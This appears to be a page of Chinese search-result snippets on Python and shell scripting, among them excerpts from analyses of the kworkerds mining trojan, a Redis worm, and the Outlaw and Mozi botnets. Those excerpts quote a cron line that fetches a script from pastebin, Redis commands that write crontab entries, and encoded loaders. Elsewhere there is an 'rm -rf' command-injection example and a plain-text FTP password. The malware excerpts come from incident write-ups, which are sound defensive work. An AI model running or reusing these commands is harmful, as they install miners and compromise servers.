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如何建立您的第一个机器人

当物体在IR传感器前面时，物体的表面将IR光线的一部分反射回接收器。因此，接收器然后输出通知物体在传感器前面的LOW信号。 ? 覆盆子Pi机器人这些传感器连接到覆盆子pi的GPIO输入引脚。...pi然后使用python脚本检查连接到IR传感器模块的GPIO引脚是否变为低电平。如果低电平，则指示直流电机首先向相反方向移动，然后转动。...来自树莓pi的四个输出GPIO引脚控制两个电机的旋转方向。然后将电机的两个端子连接到电路板的4个输出端子。然后，电机根据来自覆盆子pi的命令由9V电池供电。从树莓pi控制电机的逻辑如下： ?...之后，复制下面的代码并将其保存为python文件：您的raspberry pi上的motor.py。然后使用以下命令运行：sudo python motor.py。...机器人的代码完成所有的硬件设置后，您需要下载并复制这个python程序到您的Raspberry Pi。

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python移除删除非空文件夹目录的最有效方法是什么？

RMDIR c:\blah /s /q 或* nix rm -rf /home/whatever 在Python中，代码看起来像.. import sys import os mswindows =...=False)" 第一个脚本chmod的所有子目录，第二个脚本chmod的所有文件。...我在Jenkins工作中的"shell脚本"中对此进行了测试(我不想将新的python脚本存储到SCM中，这就是为什么搜索单行解决方案)，它适用于Linux和Windows。..." subprocess.run(["rm","-rf", path]) 本质上，它使用python的子进程模块来运行bash脚本$ rm -rf '/path/to/your/dir，就好像使用终端来完成相同的任务一样...它相当于Linux/Mac中的rm -rf。我找到了一种非常简单的方法来删除Windows操作系统上的任何文件夹(甚至不是空的)或文件。

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kworkerds 挖矿木马简单分析及清理

公司之前的开发和测试环境是在腾讯云上，部分服务器中过一次挖矿木马 kworkerds，本文为我当时分析和清理木马的记录，希望能对大家有所帮助。...进程有时候会被隐藏，通过分析脚本删除部分依赖文件，可以显示出来。存在可疑的 python 进程。 crontab 被写入了一个定时任务，每半小时左右会从 pastebin 上下载脚本并且执行。...'))" >/dev/null 2>&1 & touch /tmp/.tmph } base64 的 python 代码解码后内容为： $ python Python 3.5.0 (v3.5.0...python 代码又从https://pastebin.com/raw/eRkrSQfE读取内容，进行执行。...再次解码后，内容为针对 redis 的攻击脚本，核心代码如下： s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2)

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企业安全建设之基于Redis未授权访问的挖矿蠕虫分析

脚本里有个python函数。...，将挖矿脚本写入 /var/spool/cron/root 文件中。...s.send('save\r\n') s.close() ``` 使用 Redis 的备份配置文件命令，将相关内容写入 /var/spool/cron/root 文件中。...脚本进行的是base64编码加密后面做详细的解释 } function echocron() { echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com...-f "/tmp/.tmph" ]; then rm -rf /tmp/.tmpg python fi #运行脚本函数 kills downloadrun echocron system top #等待

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Python安全编程面试：常见安全漏洞与防范措施

在Python安全编程的面试过程中，对常见安全漏洞的认知及其防范措施的理解与应用能力至关重要。本文将深入浅出地剖析这些关键点，探讨面试中常见的问题、易错点及应对策略，并通过代码示例进一步加深理解。...跨站脚本攻击(XSS)常见问题：理解XSS攻击原理：攻击者通过注入恶意脚本，在用户浏览器中执行，盗取数据或操控页面。识别易受攻击的代码：检查所有向HTML输出的地方，尤其是包含用户输入的部分。...代码示例：不安全：filename = request.POST['filename']command = f"rm -rf {filename}"subprocess.call(command, shell...设计合理的权限模型：细粒度的角色、权限分配与检查。易错点与避免策略：硬编码凭据：妥善保管密钥、密码等敏感信息，使用环境变量、密钥管理服务等安全方式存储。...综上所述，理解和掌握以上Python安全编程中的常见漏洞及其防范措施，是提升面试成功率的关键。面试者应具备扎实的安全意识，能够在实际编程中有效预防和抵御各类安全威胁。

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Outlaw黑客组织武器更新分析

活动中未观察到网络钓鱼或社会工程学攻击，发现了大规模定时IP扫描操作。流量中的命令异常特征： ?...样本中攻击是从VPS开始的，该服务器搜索存在漏洞的计算机进行入侵，感染后就会启动扫描活动，并传播僵尸网络。攻击者试图利用base-64编码来逃避流量检查。解码扫描器显示以下代码： #!...最新版本的代码试图删除以前所有相关的文件和代码，包括自己的代码（以确保更新正在运行的组件）和其他网络罪犯组织的攻击代码，并创建新工作目录‘/tmp/.X19-unix‘放置工具并提取文件。...最新样本的bashtemp目录中还有其他脚本init和init2： 0c458dfe0a2a01ab300c857fdc3373b75fbb8ccfa23d16eff0d6ab888a1a28f6 init...总结 2018年发现该组织以来，Outlaw持续使用一套攻击脚本，代码和命令，不同的版本在代码迭代之后会简单的重命名，遵循特定的格式，与代码的实际功能无关。

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定制mysql中间件实现binlog过滤

, 让中间件来做binlog的过滤, 这样既不影响主从库, 而且也不需要管抽数工具怎么实现.原理细节分析还好我们之前写过这种中间件的代码, 当时是叫的流量镜像, 我们只需要在此基础上加个filter功能...怎么实现binlog的filter呢? 还好我们之前解析过binlog, 而且还写过从Binlog里面抽取指定表的脚本, 我们在此基础上修改下即可. 比如加上去掉delete操作这种操作....也就是只需要修改如下红色部分信息即可:其它的信息, 比如连接阶段的,或者一些查询信息, 我们应该原样返回给抽数工具(不能让它发现异常).演示实现过程就省略了, 完整代码放在文末的....这个问题就留给感兴趣的读者自行完善了.提示: 可以用那个流量镜像脚本观察下,数据包的变化....= b'':SEQ,LOG_POS = send_repack(table_map_packt,sock,SEQ,LOG_POS)table_map_packt = b''SEQ,LOG_POS = send_repack

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如何防止根目录被删？

，今天将大伙的经验进行一个汇总，分享给大家，希望“误删根目录”的事情永远不再出现一、悲剧回顾执行了一个清理日志的脚本，大致的逻辑是： ... cd ${log_path} rm -rf * ......【使用&&】有部分朋友建议，使用&&将 cd ${log_path} rm -rf * 合并成一个语句 cd ${log_path} && rm -rf * 当前半句执行失败的时候，后半句不再执行。...这个方案个人感觉对于这个case可行，但不太通用，总有需要cd的场景吧。【判断目录是否存在】制定编码规范，对目录进行操作之前，要先判断目录是否存在。...确实，可是靠人的自觉来保证规范的执行，总感觉有些不太靠谱。【单元测试】和制定编码规范类似，自测貌似比较难测出来，根据经验：rd往往以自己编写代码的思路和逻辑编写自测用例，来证明自己代码的正确性。...【使用Python，避免使用shell】这… 貌似不太通用，技术讨论的第一大前提“不要有语言之争”（技术讨论的第二大前提“不要讨论哪个编辑器好用”）。

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专项行动的意外收获—— 2020 年 9 月墨子（Mozi）僵尸网络分析报告

它本质上是Mirai的变种，但也包含Gafgyt和IoT Reaper的部分代码，用于进行DDoS攻击、数据窃取、垃圾邮件发送以及恶意命令执行和传播。...图6-更改进程名分析过程中发现Mozi僵尸网络复用了部分Gafgyt家族僵尸网络的代码，其中内嵌了8个硬编码的公共节点信息，用于加入P2P网络，如下： ?...图7-内置的节点在样本中还硬编码了一个使用XOR加密的配置文件及密钥： ?...图8-配置文件使用硬编码的秘钥解密后得到如下配置数据： [ss]bot[/ss][hp]88888888[/hp][count]http://ia.51.la/go1？...图10-攻击的设备类型同时还在样本中发现硬编码的部分用户名和弱口令，用来对Telnet进行暴力破解攻击，以扩大感染和传播范围，硬编码的部分用户名和密码如下： ?

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使用命令行界面运行Python脚本

我们可以在命令行上键入不同的参数并将这些参数传递到脚本中，而不是每次运行脚本时都更改.py文件中的代码。因此，使用CLI是非常灵活和方便的，而且，从黑屏启动程序会让你更酷，更像一个真正的程序员。...我们还将稍微调整代码，定义三个变量，而不是硬编码程序中的所有值：PDF源文件、要提取的页面，以及最终生成的PDF，此设置将允许我们在任何PDF文件上使用该程序。...脚本，Python程序中需要两个函数：main()和split_merge_pdf()。...在我们的小程序中，打印：sys.argv的数据类型、长度以及其中的元素，结果如下图2所示。图2 好了，现在我们已经了解了将命令行输入传递到Python脚本中的基础知识。...从技术上讲，我们不需要这个if块，只需调用main()，代码仍然可以工作，但将其包含在代码中是一种很好的做法。使用命令行界面运行Python脚本实际测试一下这个程序。

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LINUX脚本使用实战，持续更新

./ -name "*.tar.gz" -mtime +2 -exec rm -rf {} \; ##筛选出2天以前的文件并且删除 1.1 统计文本出现字符的频率： $ awk -F' '..."qwe*123456\r";} "(yes/no)" {send "yes\r";exp_continue} } expect "*>" {send "ftp 192.168.51.202...\r"} send "ftp01\r" send "598941324\r" send "put vrpcfg.zip\r" send "quit\r" send "quit\r" expect eof...4.zabbix 数据库备份脚本 #!...目录下的日志切割（传入值） #!

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从定制 Ghost 镜像聊聊优化 Dockerfile

写在前面在GitHub 的仓库中，我们可以看到，解决这个 Bug 需要两步走：对管理后台的前端实现代码进行补丁，并重新构建对管理后台的服务器端渲染模版进行更新而在使用和维护上，必须考虑以下几点：...补丁内容是否会影响现有逻辑是否可以不干扰用户使用官方镜像是否可以尽可能少/不编码，实现镜像的维护更新用于构建修正过前端功能的工具镜像性能能否更高由于 Ghost 服务端脚本/模版不需要构建使用...优化构建镜像在代码仓库中，我们可以看到 Dockerfile 的内容是这样编写的： FROM node:12-alpine LABEL maintainer="soulteary@gmail.com"...”被硬编码到了 Dockerfile 中，不利于 mobiledoc-kit 和 Ghost 代码升级管理。...解决硬编码的问题我们首先需要将“版本”定义为变量，然后抽象出来，考虑到不希望未来每次代码升级都需要修改 Dockerfile，我们可以使用它的 ARG 指令，对于原始内容进行优化，例如： # FOR

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从定制 Ghost 镜像聊聊优化 Dockerfile

写在前面在GitHub 的仓库中，我们可以看到，解决这个 Bug 需要两步走：对管理后台的前端实现代码进行补丁，并重新构建对管理后台的服务器端渲染模版进行更新而在使用和维护上，必须考虑以下几点：...补丁内容是否会影响现有逻辑是否可以不干扰用户使用官方镜像是否可以尽可能少/不编码，实现镜像的维护更新用于构建修正过前端功能的工具镜像性能能否更高由于 Ghost 服务端脚本/模版不需要构建使用...优化构建镜像在代码仓库中，我们可以看到 Dockerfile 的内容是这样编写的： FROM node:12-alpine LABEL maintainer="soulteary@gmail.com"...”被硬编码到了 Dockerfile 中，不利于mobiledoc-kit 和 Ghost 代码升级管理。...解决硬编码的问题我们首先需要将“版本”定义为变量，然后抽象出来，考虑到不希望未来每次代码升级都需要修改 Dockerfile，我们可以使用它的 ARG 指令，对于原始内容进行优化，例如： # FOR

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配置文件管理维护到gitlab上（下）

二.脚本服务端 ecs-file-master.py 要修改脚本，host为服务端ip，git的url为项目地址，要手动建好 #!.../usr/bin/python3 #当同一个文件更新2次时，则提交一次到线上 #nohup /usr/bin/python3 -u /root/bin/ecs-file-master.py >> /var...2>&1 & from socket import * import sys, time, os, json, struct #[服务端ip-端口、临时文件位置、git位置、git项目url、push的脚本位置...cd / git clone ${git_url} \cp -rf ${tmp_dir}/* ${git_dir}/ #更新代码 cd ${git_dir} git add . git commit...tcp_client.send(head_info_len) # 发送head_info的长度 tcp_client.send(head_info.encode('utf-8'))

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LoRa终端设备ASR6505之PingPong通信

PI_3 SCLK PI_1 BUSY PH_1 DIO_1 编码率：取值1-4，分别对应4/5,4/6, 4/7, 4/8。 IQ极性：收发要保持相同。 4、实验设计两个开发板相互发送数据，串口打印接收的数据，并打印RSSI和SNR。...5、核心代码 int main( void ) { bool isMaster = true;// 主从机，从机的时候改为false uint8_t i; // Target board...OnRxTimeout; RadioEvents.RxError = OnRxError; Radio.Init( &RadioEvents ); Radio.SetChannel( RF_FREQUENCY...TimerLowPowerHandler( ); // Process Radio IRQ Radio.IrqProcess( ); } } 6、代码分析

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技术中台之DevOps自动化测试实践

3.RF如何做接口测试？ 4.如何在DevOps中执行rf脚本并生成测试报告一、为什么采用RobotFramework?...2、准备好rf环境【python环境、robotframework安装、JDK1.8+Eclipse+RED插件】； 3、安装第三方库，提供接口测试的关键字：RequestsLibrary（在rf中，python...4、在robot脚本中引入所需各库： ? 5、认识RequestLibrary以及DatabaseLibrary中的关键字。 ? 掌握各关键字含义以及用法，是利用RF做自动化测试的核心。...工具类层：若rf已存的关键字不满足需求，可自行编写py函数实现；关键字层：将复用率高的代码块进行提取封装，成为新关键字。...这时候就要结合我们的DevOps产品，前言讲过DevOps为自动化测试做了哪些工作，是的，就是利用DevOps集成的rf任务，和拉取代码库代码任务，进行rf脚本的执行，执行完毕后，会将生成的测试报告存储在

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MongoDB 日志切换（Rotate Log Files）实战

该方式的变种： a) 在unix shell下运行： 1 mongo localhost/admin –eval “dbo.runCommand({logRotate:1})” b) Bash脚本...db.runCommand("logRotate") send "\r\n" expect ">" send "exit" 2....： a) 用python写的定时脚本，每天产生一个新的log，超过7天的log自行删除。...datetime.datetime(ws1[0],ws1[1],ws1[2]) if (array_dat_now - ws2).days > 7: v_del = commands.getoutput("/bin/rm -rf...拷贝以下代码到/etc/logrotate.d/mongodb文件中，确保脚本中的路径和文件名正确。

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Python 基于 FTP 历史版本一键部署

1、执行命令一键部署历史版本执行命令为： python ftp_tools.py 20240125 2、核心 Python 代码 ftp_tools.py脚本内容为： (1)、需要接收一个日期的格式参数...，以便从 ftp 上面去获取相应的历史版本部署包，获取到历史部署包后会在本地解压并且解决下载的原始压缩包 (2)、最后再调用一个sh的 shell 脚本去执行停服务，部署，启动服务 [root@111]...time.sleep(5) else: print("本地此文件不存在") fp = open(localpath,'wb') print("正在下载中....以下是python脚本执行部署时调用的 shell 脚本代码： [root@111]# more deploy_history_version.sh #/bin/sh echo $1 sh /opt/.../$1-* 今天分享的内容主要为代码的分享，进步与成长可以使人获得长期的快乐，希望我们一起快乐呀～如果你觉得文章不错的话，分享、收藏，在看，关注将会是对我的最大支持，也是我持续更新的最大动力

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RF第三讲--定义用户关键字

其中open browser就是打开浏览器的方法，但是实际工作中我们的方法很多都是自己导入的脚本文件，命名也是根据业务而定，比如我写了一个脚本，函数名为abc，只看到这样我们很难理解这个函数的真正用途，...当然RF自带的方法还有很多，工作中也要根据实际的业务来选择，大家可以下载个电子书看一下。...之前说过，RF是基于Python的，更多的时候由于业务需要，RF库并不能满足我们的需求，这就需要我们用Python自己写脚本，导入RF中使用。简单说就是——你得会用Python。...最近一直在想要怎么才能讲好RF的使用，书上有的我又懒得再重复，那样也没什么意义，书本和实际应用毕竟有差距，所以我决定下次我准备介绍一下Python的一些语法，其实对RF应用到的Python知识来说大部分都是如何生成...所以准备好，你要写代码啦~~~

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树莓派自建 NAS 云盘之——数据自动备份

pi@raspberrypi:~ $ rsync -a /nas/data/ /nas/backup/2018-08-01 这段命令将挂载在 /nas/data/ 目录下的数据盘中的数据进行了完整的复制备份...pi@raspberrypi:~ $ rsync -a --link-dest /nas/backup/2018-08-01/ /nas/data/ /nas/backup/2018-08-02 上面这行代码又创建了一个关于...这样，这次备份会与 /nas/backup/2018-08-01 的备份进行比对，只备份已经修改过的文件，未做修改的文件将不会被复制，而是创建一个到上一个备份文件中它们的硬链接。...使用备份文件中的硬链接文件时，你一般不会注意到硬链接和初始拷贝之间的差别。它们表现的完全一样，如果删除其中一个硬链接或者文件，其他的依旧存在。你可以把它们看做是同一个文件的两个不同入口。...第二段代码调用 rsync 命令。最后一段代码执行 deleteOldBackups.sh 脚本，它会清除一些过期的没有必要的备份数据。

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